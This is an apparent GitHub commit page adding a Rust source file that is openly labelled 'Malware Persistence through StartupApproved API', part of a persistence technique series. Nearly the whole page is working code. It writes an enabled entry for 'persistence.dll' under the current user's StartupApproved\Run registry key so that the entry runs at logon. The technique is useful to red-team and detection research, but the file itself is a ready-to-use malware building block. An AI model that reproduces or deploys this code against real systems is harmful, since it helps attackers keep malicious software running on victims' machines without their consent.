Skip to content

Commit a658039

Browse files
committed
Persistence Series
Persistence through StartupApproved API
1 parent d9236e3 commit a658039

File tree

1 file changed

+55
-0
lines changed

1 file changed

+55
-0
lines changed

Persistence/StartupApproved.rs

+55
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,55 @@
1+
/*
2+
Malware Persistence through StartupApproved API
3+
Credits to cocomelonc
4+
@5mukx
5+
*/
6+
7+
use std::ptr::null_mut;
8+
use std::ffi::CString;
9+
use winapi::shared::winerror::ERROR_SUCCESS;
10+
use winapi::um::winnt::{KEY_WRITE, REG_BINARY};
11+
use winapi::um::winreg::{RegCloseKey, RegOpenKeyExA, RegSetValueExA, HKEY_CURRENT_USER};
12+
use winapi::shared::minwindef::HKEY__;
13+
14+
fn main(){
15+
unsafe{
16+
let data: [u8; 12] = [0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00];
17+
18+
let path = CString::new("Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\StartupApproved\\Run").unwrap();
19+
let dll_path = CString::new("persistence.dll").unwrap();
20+
21+
let mut hkey: *mut HKEY__ = null_mut();
22+
let res = RegOpenKeyExA(
23+
HKEY_CURRENT_USER,
24+
path.as_ptr(),
25+
0,
26+
KEY_WRITE,
27+
&mut hkey
28+
);
29+
30+
if res != ERROR_SUCCESS.try_into().unwrap() {
31+
println!("failed to open registry key :(");
32+
return;
33+
} else {
34+
println!("successfully opened registry key :)");
35+
}
36+
37+
let res = RegSetValueExA(
38+
hkey,
39+
dll_path.as_ptr(),
40+
0,
41+
REG_BINARY,
42+
data.as_ptr(),
43+
data.len() as u32
44+
);
45+
46+
47+
if res != ERROR_SUCCESS.try_into().unwrap(){
48+
println!("Failed to set registry value ");
49+
} else {
50+
println!("Successfully set registry value");
51+
}
52+
53+
RegCloseKey(hkey);
54+
}
55+
}

0 commit comments

Comments
 (0)